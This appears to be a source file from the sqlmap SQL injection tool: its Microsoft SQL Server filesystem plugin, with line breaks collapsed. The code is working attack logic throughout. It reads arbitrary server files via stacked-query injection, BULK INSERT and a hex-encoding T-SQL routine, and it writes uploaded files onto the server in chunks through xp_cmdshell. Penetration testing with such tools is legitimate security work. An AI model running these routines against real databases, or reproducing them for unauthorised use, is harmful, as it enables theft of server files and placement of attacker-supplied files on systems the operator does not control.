#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import ntpath import os from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def unionReadFile(self, rFile): errMsg = "Microsoft SQL Server does not support file reading " errMsg += "with UNION query SQL injection technique" raise sqlmapUnsupportedFeatureException(errMsg) def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), unique=False, resumeValue=False, blind=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise sqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, unique=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result def unionWriteFile(self, wFile, dFile, fileType, confirm=True): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise sqlmapUnsupportedFeatureException(errMsg) def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system. Maybe it won't be required to write text files self.initEnv() self.getRemoteTempPath() debugMsg = "going to use xp_cmdshell extended procedure to write " debugMsg += "the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) debugSize = 0xFF00 tmpPath = posixToNtSlashes(conf.tmpPath) dFile = posixToNtSlashes(dFile) dFileName = ntpath.basename(dFile) wFileSize = os.path.getsize(wFile) wFilePointer = codecs.open(wFile, "rb") wFileContent = wFilePointer.read() wFilePointer.close() if wFileSize < debugSize: chunkName = self.updateBinChunk(wFileContent, tmpPath) sFile = "%s\%s" % (tmpPath, dFileName) logger.debug("moving binary file %s to %s" % (sFile, dFile)) commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) else: infoMsg = "the %s file is bigger than %d " % (fileType, debugSize) infoMsg += "bytes. sqlmap will split it into chunks, upload " infoMsg += "them and recreate the original file out of the " infoMsg += "binary chunks server-side, please wait.." logger.info(infoMsg) counter = 1 for i in xrange(0, wFileSize, debugSize): wFileChunk = wFileContent[i:i + debugSize] chunkName = self.updateBinChunk(wFileChunk, tmpPath) if i == 0: infoMsg = "renaming chunk " copyCmd = "ren %s %s" % (chunkName, dFileName) else: infoMsg = "appending chunk " copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) logger.debug(infoMsg) commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName) complComm = " & ".join(command for command in commands) self.execCmd(complComm) logger.info("file chunk %d written" % counter) counter += 1 sFile = "%s\%s" % (tmpPath, dFileName) logger.debug("moving binary file %s to %s" % (sFile, dFile)) commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) if confirm: self.askCheckWrittenFile(wFile, dFile, fileType)